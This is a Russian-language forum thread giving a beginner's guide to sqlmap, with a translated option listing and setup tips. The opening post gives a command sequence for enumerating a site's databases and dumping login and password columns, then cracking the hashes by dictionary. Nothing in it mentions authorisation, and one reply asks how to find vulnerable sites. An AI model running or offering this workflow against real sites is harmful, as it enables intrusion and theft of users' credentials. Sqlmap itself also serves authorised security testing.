Sqlmap для начинающих

03.10.2016
40
25
#1

Разбор команд из видео:
sqlmap -u http://www.site.com/news.php?id=69 --dbs
-u это URL
--dbs база данных, покажет список всех БД

Так же запрос можно было составить таким образом
sqlmap -u http://www.site.com/news.php?id=69 --dbs --random-agent
--random-agent - в этом случае вместо дефолтного юзерагента будет случайным образом выбран правдоподобный


Далее смотрим какие таблицы и колонки доступны:
sqlmap -u http://www.site.com/news.php?id=69 -D имя таблицы --table
-D имя таблицы --table отображения списка таблиц внутри базы данных



sqlmap -u http://www.site.com/news.php?id=69 -D имя таблицы --columns -T name
--columns -T name перечисляем столбцы таблицы базы данных


sqlmap -u http://www.site.com/news.php?id=69 -D имя таблицы --columns -T name -C 'login,pass' --dump
-C’login,pass’ указываем колонки таблиц, через запятую, если их несколько


Так же если пароль будет зашифрован sqlmap предложит перебрать его по словарю, можно выбрать дефолтный, а можно указать путь к своему файлу.

Утилита обладает огромным функционалом, я затронул только базовые функции, кому будет интересно может углубиться самостоятельно в изучение и почитать документацию: https://github.com/sqlmapproject/sqlmap/wiki/_pages
 
Последнее редактирование:
22.12.2016
202
153
#2
Полезная информация для "новичков". Вот бы ещё что то подобное по "поиску" подобных свйтов.
 

Tirin

Member
28.12.2016
46
33
#6
Где бы скачать этот sqlmap? Киньте ссылку.
Или если не хочешь ставить kali linux как предложил коллега выше, можешь установить SQLmap на Windows:
1 Качаешь и устанавливаешь python 2.7 с оф. сайта питона https://www.python.org/ftp/python/2.7.13/python-2.7.13.msi
2 Качаешь SQLmap https://github.com/sqlmapproject/sqlmap/zipball/master
3 Распаковываешь скачанный архив с SQLmap-ом в корень диска C и содержимое папки переименуй как тебе удобно например в sqlmap,
должно получится например так C:\sqlmap
4 Запускаешь командную строку и в ней переходишь в папку с SQLmap-ом команда cd \sqlmap (должно получиться так C:\sqlmap>_ )
Чтобы SQLmap запускался в виндовс во все команды нужно добавлять расширение файла .py
первая команда из первого поста получится такая sqlmap.py -u http://www.site.com/news.php?id=69 --dbs
у тебя в командной строке это будет выглядеть так:

C:\sqlmap>sqlmap.py -u http://www.site.com/news.php?id=69 --dbs
Всё дальше фигачешь как показано в описании.
 

bronson

New Member
14.01.2017
1
0
#7
Приветствую! Скажите пожалуйста, а sqlmap имеет возможность сначала залогиниться под легитимным логином и паролем на сайте/форуме/интернет-магазине, а потом уже начать поиск уязвимых запросов?
Не пинайте пожалуйста за вопрос. Спасибо. Статья очень полезная.
 

Tirin

Member
28.12.2016
46
33
#8
Скажите пожалуйста, а sqlmap имеет возможность сначала залогиниться под легитимным логином и паролем на сайте/форуме/интернет-магазине, а потом уже начать поиск уязвимых запросов?
Да можно так сделать, вот подробная статья по твоему вопросу https://hackware.ru/?p=1956
 

Tirin

Member
28.12.2016
46
33
#9
А так же
Код:
Опции:
  -h, --help            Показать базовую справку и выйте
  -hh                   Показать продвинутую справку и выйти
  --version             Показать номер версии программы и выйти
  -v VERBOSE            Уровень вербальности: 0-6 (по умолчанию 1)
 
  Цель:
    По крайней мере одна из этих опций должна быть указана, чтобы задать цель(и)
 
    -d DIRECT           Строка подключения для прямого соединения с базой данных
    -u URL, --url=URL   Целевой URL (например, "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          Парсить цель(и) из файлов логов Burp или WebScarab
    -x SITEMAPURL       Парсить цель(и) из удалённого файла sitemap(.xml)
    -m BULKFILE         Сканировать множество целей, заданных в текстовом файле
    -r REQUESTFILE      Загрузить HTTP запросы из файла
    -g GOOGLEDORK       Обработать результаты дорков Google как целевых URL
    -c CONFIGFILE       Загрузить опции из конфигурационного файла INI
 
  Запросы:
    Эти опции могут использоваться для определения как подключиться к целевому URL
 
    --method=МЕТОД        Принудительно использовать заданный HTTP метод (например, PUT)
    --data=ДАННЫЕ         Строка данных для отправки через POST
    --param-del=РАЗД_ПАР  Символ, используемый для разделения величин параметров
    --cookie=КУКИ         Значение заголовка HTTP куки
    --cookie-del=РАЗДЕЛИТЕЛЬ_КУКИ  Символ, используемый для разделения величин куки
    --load-cookies=ФАЙЛ_ДЛЯ_ЗАГРУЗКИ  Файл, содержащий куки в формате Netscape/wget
    --drop-set-cookie     Игнорировать заголовок Set-Cookie из ответа
    --user-agent=AGENT    Значение заголовка HTTP User-Agent
    --random-agent        Использовать случайно выбранное значение заголовка HTTP User-Agent
    --host=ХОСТ           Значение заголовка хоста HTTP
    --referer=РЕФЕРЕР     Значение заголовка HTTP Referer
    -H ЗАГОЛОВОК, --header  Дополнительный заголовок (к примеру, "X-Forwarded-For: 127.0.0.1")
    --headers=ЗАГОЛОВКИ   Дополнительные заголовки (к примеру, "Accept-Language: fr\nETag: 123")
    --auth-type=ТИП_АУТ  HTTP тип аутентификации (Basic, Digest, NTLM или PKI)
    --auth-cred=ДАННЫЕ_АУТ  учётные данные HTTP аутентификации (имя:пароль)
    --auth-file=ФАЙЛ_АУТ  файл HTTP аутентификации PEM сертификат/частный ключ
    --ignore-401        Игнорировать ошибку HTTP 401 (Unauthorized) (Неавторизован)
    --ignore-proxy      Игнорировать дефолтные системные настройки прокси
    --ignore-redirects  Игнорировать попытки редиректа
    --ignore-timeouts   Игнорировать таймауты соединений
    --proxy=ПРОКСИ         Использовать прокси для подключения к целевому URL
    --proxy-cred=УЧЁТКА_ПРОКСИ  Учётные данные аутентификации прокси (имя:пароль)
    --proxy-file=ФАЙЛ_ПРОКСИ  Загрузить список прокси из файла
    --tor                  Использовать анонимную сеть Tor
    --tor-port=TORPORT     Установить порт прокси Tor отличный от дефолтного
    --tor-type=TORTYPE     Установить тип прокси Tor (HTTP (по умолчанию), SOCKS4 или SOCKS5)
    --check-tor            Проверить, используется ли Tor должным образом
    --delay=ЗАДЕРЖКА       Задержка в секундах между каждым HTTP запросом
    --timeout=ТАЙМАУТ      Секунды для ожидания перед таймаутом соединения (по умолчанию 30)
    --retries=ПОПЫТКИ      Попытки при таймаутах соединения (по умолчанию 3)
    --randomize=ПАРАМЕТРЫ  Случайно менять значения данного параметра(ов)
    --safe-url=БЕЗОПАСНЫЙ_EURL  URL адрес для частого посещения во время тестирования
    --safe-post=POST  Данные POST для отправки на безопасный URL
    --safe-req=БЕЗОПАСНЫЙ_ФАЙЛ  Load safe HTTP request from a file
    --safe-freq=КОЛИЧЕСТВО  Тестовые запросы между двумя визитами на заданный безопасный URL
    --skip-urlencode       Пропустить URL кодирование данных для запросов
    --csrf-token=CSR..     Параметр используемый для удержания токена anti-CSRF
    --csrf-url=CSRFURL     URL адрес для посещения для извлечения токена anti-CSRF
    --force-ssl            Принудительное использование SSL/HTTPS
    --hpp                  Использовать метод загрязнения параметра HTTP
    --eval=EVALCODE        Выполнить данный код Python перед запросом (например,
                           "import hashlib;id2=hashlib.md5(id).hexdigest()")
 
  Оптимизация:
    Эти опции могут использовать для оптимизации производительности sqlmap
 
    -o                  Отключить все переключатели оптимизации
    --predict-output    Прогнозировать общий вывод запросов
    --keep-alive        Использовать постоянные соединения HTTP(s)
    --null-connection   Получить длину страницу без фактического тела ответа HTTP
    --threads=ПОТОКИ    Максимальное количество одновременных HTTP(s) запросов (по умолчанию 1)
 
  Инъекция:
    Эти опции могут использоваться для определения, какой параметр тестировать,
    обеспечивать пользовательскую инъекционную нагрузку и дополнительные скрипты обфускации
 
    -p TESTPARAMETER    Тестируемый параметр(ы)
    --skip=SKIP         Пропустить тестирования данного параметра(ов)
    --skip-static       Пропустить тестирование параметров, которые не кажутся динамическими
    --param-exclude=..  Регулярное выражение для исключения параметров из тестирования (например, "ses")
    --dbms=DBMS         Принудительно указать СУБД
    --dbms-cred=DBMS..  Данные аутентификации СУБД (пользователь:пароль)
    --os=OS             Принудительно указать операционную систему СУБД
    --invalid-bignum    Использовать большие числа для недействительных значений
    --invalid-logical   Использовать логические операции для недействительных значений
    --invalid-string    Использовать случайные строки для недействительных значений
    --no-cast           Отключить механизм отбора полезной нагрузки
    --no-escape         Отключить механизм экранирования строк
    --prefix=PREFIX     Предваряющая строка инъекционного запроса
    --suffix=SUFFIX     Завершающая строка инъекционного запроса
    --tamper=TAMPER     Использовать данный скрипт(ы) для обфускации инъекционных данных
 
  Выявление:
    Эти опции можно использовать для настройки фазы выявления
 
    --level=УРОВЕНЬ       Уровень выполнения тестирования (1-5, по умолчанию 1)
    --risk=РИСК           Риск выполняемого тестирования (1-3, по умолчанию 1)
    --string=СТРОКА       Строка, когда запрос выполнен в True (Истина)
    --not-string=НЕ_ИСТИНА  Строка, когда запрос выполнен в False (Ложь)
    --regexp=РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ     Регулярное выражение, когда запрос выполнен в True (Истина)
    --code=КОД            HTTP код, когда запрос выполнен в True (Истина)
    --text-only           Сравнить страницы основываясь только на текстовом содержимом
    --titles              Сравнить страницы основываясь только на их заголовках
 
  Техники:
    Эти опции можно использовать для поднастройки тестирования отдельных техник SQL инъекции
 
    --technique=ТЕХНИКА    Техники SQL инъекций для использования (по умолчанию "BEUSTQ")
    --time-sec=TIMESEC     Секунды для задержки ответа СУБД (по умолчанию 5)
    --union-cols=UCOLS     Диапазон колонок для тестирования с запросами UNION SQL инъекций
    --union-char=UCHAR     Символ для использования при брутфорсинге количества колонок
    --union-from=UFROM     Таблица для использования в FROM части UNION запроса SQL инъекции
    --dns-domain=ДОМЕН     Доменное имя, используемое для эксфильтрационной атаки DNS
    --second-order=СТРОКА  В результате по URL ищется ответ второго порядка
 
  Отпечатки:
    -f, --fingerprint   Выполняет обширную сверку версии СУБД
 
  Перечисления:
    Эти опции могут использоваться для перечисления информации
    системы управления базами данных, структуры содержащихся в
    таблицах данных. Более того, вы можете запустить ваши собственные
    SQL выражения
 
    -a, --all           Получить всё
    -b, --banner        Получить банер СУБД
    --current-user      Получить текущего пользователя СУБД
    --current-db        Получить текущую базу данных СУБД
    --hostname          Получить имя хоста сервера СУБД
    --is-dba            Определить, является ли текущий пользователь администратором СУБД
    --users             Перечислить пользователей СУБД
    --passwords         Перечислить хеши паролей пользователей СУБД
    --privileges        Перечислить пользовательские привилегии СУБД
    --roles             Перечислить пользовательские роли СУБД
    --dbs               Перечислить базы данных СУБД
    --tables            Перечислить таблицы базы данных СУБД
    --columns           Перечислить колонки таблицы СУБД
    --schema            Перечислить схему СУБД
    --count             Перечислить количество записей для таблицы(таблиц)
    --dump              Сдампить записи таблицы базы данных СУБД
    --dump-all          Сдампить все записи таблиц базы данных СУБД
    --search            Поиск колонки(ок), таблиц(ы) и/или имени(имён) базы данных
    --comments          Получить комментарии СУБД
    -D БД               БД СУБД для перечисления
    -T ТБЛ              Таблица(ы) БД СУБД для перечисления
    -C КОЛ              Колонка(и) таблицы БД СУБД для перечисления
    -X ПРОПУСТИТЬКОЛ    Колонка(и) БД СУБД для не перечисления
    -U ПОЛЬЗОВАТЕЛЬ     Пользователи СУБД для перечисления
    --exclude-sysdbs    Пробустить системные БД СУБД при перечислении таблиц
    --pivot-column=P..  Имя стержневой (Pivot) колонки
    --where=DUMPWHERE   Использовать условие WHERE при дампинге таблиц
    --start=LIMITSTART  Первая выходная запись запроса для получения
    --stop=LIMITSTOP    Последняя выходная запись запроса для получения
    --first=FIRSTCHAR   Первый символ выходного слова запроса для получения
    --last=LASTCHAR     Последний символ выходного слова запроса для получения
    --sql-query=QUERY   SQL выражение для исполнения
    --sql-shell         Приглашение интерактивного SQL шелла
    --sql-file=SQLFILE  Выполнить SQL выражение из данного файла(ов)
 
  Брут-форс:
    Эти опции могут использоваться для записи проверок брут-форсом
 
    --common-tables     Проверить наличие распространённых таблиц
    --common-columns    Проверить наличие распространённых колонок
 
  Инъекция заданных пользователем функций:
    Эти опции могут быть использованы для создания определённых пользователем функций
 
    --udf-inject        Вставка предопределённых пользователем функций
    --shared-lib=SHLIB  Локальный путь до общей библиотеки
 
  Доступ к файловой системе:
    Эти опции могут быть использованы для доступа к файловой системе СУБД
 
    --file-read=RFILE   Прочитать файл из файловой системы СУБД
    --file-write=WFILE  Записать локальный файл в файловую систему СУБД
    --file-dest=DFILE   Абсолютный путь для записи файла в СУБД
 
  Доступ к оперативной системе:
    Эти опции могут быть использованы для получения доступа к ОС СУБД
 
    --os-cmd=OSCMD      Выполнить команду ОС
    --os-shell          Приглашение интерактивного шелла ОС
    --os-pwn            Прриглашение для внеполосного шелла, Meterpreter или VNC
    --os-smbrelay       Однокликовое приглашение для внеполосного шелла, Meterpreter или VNC
    --os-bof            Эксплуатация переполнения буфера хранимой процедуры
    --priv-esc          Повышение пользовательских привилегий процесса БД
    --msf-path=MSFPATH  Локальный путь где установлен Metasploit Framework
    --tmp-path=TMPPATH  Удалённый абсолютный путь директории временных файлов
 
  Доступ к регистру Windows:
    Эти опции могут использоваться к доступу к регистру Windows СУБД
 
    --reg-read          Прочитать значение ключа регистра Windows
    --reg-add           Записать значение ключа регистра Windows
    --reg-del           Удалить значение ключа регистра Windows
    --reg-key=REGKEY    Ключ регистра Windows
    --reg-value=REGVAL  Значение ключа регистра Windows
    --reg-data=REGDATA  Данные значения ключа регистра Windows
    --reg-type=REGTYPE  Тип значения ключа регистра Windows
 
  Общие:
    Эти опции могут быть использованы для установки общих рабочих параметров
 
    -s SESSIONFILE      Загрузить сессию из сохранённого файла (.sqlite)
    -t TRAFFICFILE      Записать весь HTTP трафик в текстовый файл
    --batch             Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию
    --binary-fields=..  Поля результатов имеют двоичные значения (например, "digest")
    --charset=CHARSET   Принудительная кодировка символов, используемых для получения данных
    --crawl=CRAWLDEPTH  Ползать по веб-сайту начиная с заданного URL
    --crawl-exclude=РЕГВЫРАЖЕНИЕ  Регулярное выражение для исключения страниц для ползания (например, "logout")
    --csv-del=CSVDEL    Символ разделителя, используемый в выводе CSV (по умолчанию ",")
    --dump-format=ДАМПФОРМАТ  Формат сдампленных данных (CSV (по умолчанию), HTML или SQLITE)
    --eta               Отобразить для каждого вывода приблизительное время прибытия
    --flush-session     Стереть сессионные файлы для текущей цели
    --forms             Парсить и тестировать формы на целевой URL
    --fresh-queries     Игнорировать результаты запросов, сохранённые в сессионном файле
    --hex               Использовать шестнадцатеричную функцию(ии) СУБД для получения данных
    --output-dir=OUT..  Пользовательский путь директории вывода
    --parse-errors      Парсить и отображать сообщения ошибок СУБД из ответов
    --save=SAVECONFIG   Сохранить опции в конфигурационный INI файл
    --scope=SCOPE       Регулярное выражение для фильтрации целей из лога proxy
    --test-filter=TE..  Выбрать тесты по полезной нагрузке и/или названиям (например, ROW)
    --test-skip=TEST..  Пропустить тесты по полезной нагрузке и/или названиям (например, BENCHMARK)
    --update            Обновить sqlmap
 
  Разное:
    -z MNEMONICS        Использовать короткие мнемоники (например, "flu,bat,ban,tec=EU")
    --alert=ALERT       Запустить команду(ы) ОС, когда найдена SQL инъекция
    --answers=ANSWERS   Установить ответ на вопрос (например "quit=N,follow=N")
    --beep              Сигнал на вопрос и/или когда найдена SQL инъекция
    --cleanup           Очистить СУБД от специфичных для sqlmap пользовательских функций и таблиц
    --dependencies      Проверить на отсутствующие (неосновные) зависимости sqlmap
    --disable-coloring  Отключить раскрашивание вывода в консоли
    --gpage=GOOGLEPAGE  Использовать результаты дорка Google с указанного номера страницы
    --identify-waf      Провести тщательное тестирование на WAF/IPS/IDS защиту
    --mobile            Имитировать смартфон через заголовок HTTP User-Agent
    --offline           Работать в оффлайн режиме (использовать только данные сессии)
    --purge-output      Безопасно удалить всё содержимое из директории вывода
    --skip-waf          Пропустить эвристическое обнаружение WAF/IPS/IDS защиты
    --smart             Провести тщательные тесты только если эвристика дала положительные результаты
    --sqlmap-shell      Запрос интерактивного шелла sqlmap
    --tmp-dir=TMPDIR    Локальная директория для сохранения временных файлов
    --web-root=WEBROOT  Корневая директория веб-сервера (например, "/var/www")
    --wizard            Простой интерфейс мастера для начинающих пользователей
 

Vitaliy2204

New Member
07.01.2018
2
0
#10

Разбор команд из видео:
sqlmap -u http://www.site.com/news.php?id=69 --dbs
-u это URL
--dbs база данных, покажет список всех БД

Так же запрос можно было составить таким образом
sqlmap -u http://www.site.com/news.php?id=69 --dbs --random-agent
--random-agent - в этом случае вместо дефолтного юзерагента будет случайным образом выбран правдоподобный


Далее смотрим какие таблицы и колонки доступны:
sqlmap -u http://www.site.com/news.php?id=69 -D имя таблицы --table
-D имя таблицы --table отображения списка таблиц внутри базы данных



sqlmap -u http://www.site.com/news.php?id=69 -D имя таблицы --columns -T name
--columns -T name перечисляем столбцы таблицы базы данных


sqlmap -u http://www.site.com/news.php?id=69 -D имя таблицы --columns -T name -C 'login,pass' --dump
-C’login,pass’ указываем колонки таблиц, через запятую, если их несколько


Так же если пароль будет зашифрован sqlmap предложит перебрать его по словарю, можно выбрать дефолтный, а можно указать путь к своему файлу.

Утилита обладает огромным функционалом, я затронул только базовые функции, кому будет интересно может углубиться самостоятельно в изучение и почитать документацию: https://github.com/sqlmapproject/sqlmap/wiki/_pages
Нужна помощь после sqlmap -u http://XxXxXx --dbs пишет critical host http://XxXxXx